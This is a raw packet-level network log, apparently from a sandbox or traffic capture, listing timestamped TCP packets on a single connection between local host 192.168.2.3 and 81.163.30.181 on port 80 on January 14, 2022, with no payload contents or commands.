Jan 14, 2022 20:24:07.979268074 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979286909 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979312897 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979321957 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979362011 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979403973 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979418039 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979434013 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979444027 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979463100 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979486942 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979511976 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979528904 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979542017 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979567051 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979584932 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979619026 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979688883 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979733944 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979743958 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979773045 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979809999 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979824066 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979844093 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979883909 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979923010 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979943991 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979960918 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979963064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979991913 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980004072 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980029106 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980043888 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980058908 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980087996 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980113983 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980139971 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980161905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980204105 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980215073 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980242968 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980257988 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980283022 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980287075 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980323076 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980340004 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980362892 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980376005 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980405092 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980416059 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980446100 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980467081 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980485916 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980514050 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980525970 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980542898 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980565071 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980585098 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980607033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980611086 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980648041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980684042 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980688095 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980705976 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980729103 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980731964 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980770111 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980778933 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980809927 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980829954 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980850935 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980858088 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980894089 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980899096 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980932951 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980941057 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.980973959 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.980993986 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981012106 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981025934 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981051922 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981056929 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981091976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981115103 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981132030 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981141090 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981175900 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981192112 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981218100 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981225014 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981257915 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981268883 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981298923 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981322050 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981338024 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981358051 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981379032 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981380939 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981419086 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981429100 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981461048 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981502056 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981506109 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981519938 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981539965 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981550932 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981584072 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981590033 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981623888 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981632948 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981662989 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981695890 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981704950 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981707096 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981745005 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981751919 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981786013 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981802940 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981827021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981837988 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981882095 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.981904984 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981944084 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981983900 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.981988907 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982004881 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982024908 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982038021 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982067108 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982085943 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982109070 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982114077 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982150078 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982171059 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982189894 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982198954 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982233047 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982242107 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982270956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982297897 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982315063 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982316971 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982361078 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982367992 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982408047 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982445002 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982446909 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982460976 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982486963 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982496977 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982526064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982547998 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982570887 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982578039 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982609987 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982619047 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982650042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982682943 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982692003 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982692003 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982733011 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982748032 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982773066 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982783079 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982814074 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982830048 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982855082 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982858896 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982897997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982909918 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982937098 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982950926 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.982976913 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.982986927 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.983016968 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.983055115 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.983047962 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.983071089 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.983094931 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.983103991 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.983145952 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.983151913 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.983186007 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.983205080 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.983226061 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.983232975 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.983274937 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040337086 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040379047 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040419102 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040457964 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040482044 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040497065 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040528059 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040537119 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040537119 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040543079 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040548086 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040579081 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040585995 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040620089 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040635109 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040657997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040667057 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040700912 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040715933 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040740967 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040745020 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040780067 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040786982 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040821075 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040829897 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040860891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040879965 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040901899 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040906906 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040945053 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040947914 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.040985107 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.040992022 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041026115 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041032076 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041068077 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041084051 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041106939 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041112900 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041147947 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041162014 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041188955 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041193008 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041230917 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041239023 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041273117 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041287899 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041311979 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041317940 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041352987 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041357994 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041392088 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041407108 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041430950 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041438103 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041471958 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041476965 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041512012 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041518927 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041553974 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041563034 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041594982 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041598082 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041635036 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041639090 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041676044 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041692019 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041719913 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041722059 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041764021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041769028 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041805029 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041805983 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041845083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041851044 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041908979 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.041918039 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041965008 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.041966915 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042006016 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042009115 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042043924 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042068005 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042084932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042087078 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042124987 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042134047 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042164087 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042171955 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042205095 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042210102 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042233944 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042256117 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042275906 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042277098 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042319059 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042320967 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042357922 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042365074 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042398930 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042403936 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042439938 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042448997 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042479038 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042493105 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042517900 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042521954 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042570114 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042570114 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042610884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042615891 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042651892 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042660952 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042692900 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042704105 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042732954 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042747974 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042773008 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042797089 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042810917 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042817116 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042851925 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042851925 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042892933 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042901039 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042922974 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042943954 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.042965889 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.042970896 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.043020010 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.280395985 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.280715942 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.337305069 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.337358952 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.337471008 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.337538958 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.394186974 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.394248009 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.394289017 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.394324064 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.394380093 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.394388914 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.450937033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.450983047 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.451023102 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.451056957 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.451064110 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.451118946 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.451129913 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.451148987 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.508775949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.508802891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.508826017 CET	80	49907	81.163.30.181	192.168.2.3
